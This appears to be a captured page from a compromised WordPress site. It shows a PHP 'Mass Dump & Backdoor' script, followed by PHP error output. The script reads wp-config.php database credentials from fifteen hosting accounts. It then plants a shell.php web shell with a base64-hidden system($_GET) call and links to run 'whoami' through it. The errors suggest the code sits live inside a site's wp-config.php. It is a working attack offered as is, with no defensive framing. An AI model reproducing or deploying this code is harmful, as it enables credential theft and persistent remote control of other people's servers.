Mass Dump & Backdoor

SUKSES DUMP mobileappdevbal:

<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);

$users = ['mobileappdevatl','mobileappdevdle','mobileappdevsaf','mobileappdevhuf','mobileappdevbal','mobileappdevny','mobileappdevelop','mobileappdevla','mobileappdevch','mobileappdevos','mobileappdevbus','mobileappdevden','mobileappdevhou','mobileappdevval','mobileappdevcle'];

$base_paths = ['/home/', '/home2/', '/home3/'];

echo "<h1>Mass Dump & Backdoor</h1>";

foreach($base_paths as $base) {
    foreach($users as $user) {
        $dir = $base . $user . "/public_html";
        $cfg = $dir . "/wp-config.php";
        
        if(file_exists($cfg)) {
            $isi = file_get_contents($cfg);
            echo "<h2>SUKSES DUMP $user:</h2><pre>" . htmlspecialchars($isi) . "</pre><hr>";
            
            // Auto backdoor
            $backdoor = $dir . "/shell.php";
            $code = "<?php eval(base64_decode('c3lzdGVtKCRfR0VUWzFdKTs=')); ?>"; // simple cmd shell
            file_put_contents($backdoor, $code);
            echo "<a href='$user_symlink/shell.php?1=whoami' target='_blank'>Backdoor $user</a><br>";
        }
    }
}
?>


Warning: Undefined variable $user_symlink in /home/mobileappdevbal/public_html/wp-config.php on line 24
Backdoor mobileappdevbal

Fatal error: Uncaught Error: Call to undefined function nocache_headers() in /home/mobileappdevbal/public_html/wp-admin/admin.php:37 Stack trace: #0 /home/mobileappdevbal/public_html/wp-admin/index.php(10): require_once() #1 {main} thrown in /home/mobileappdevbal/public_html/wp-admin/admin.php on line 37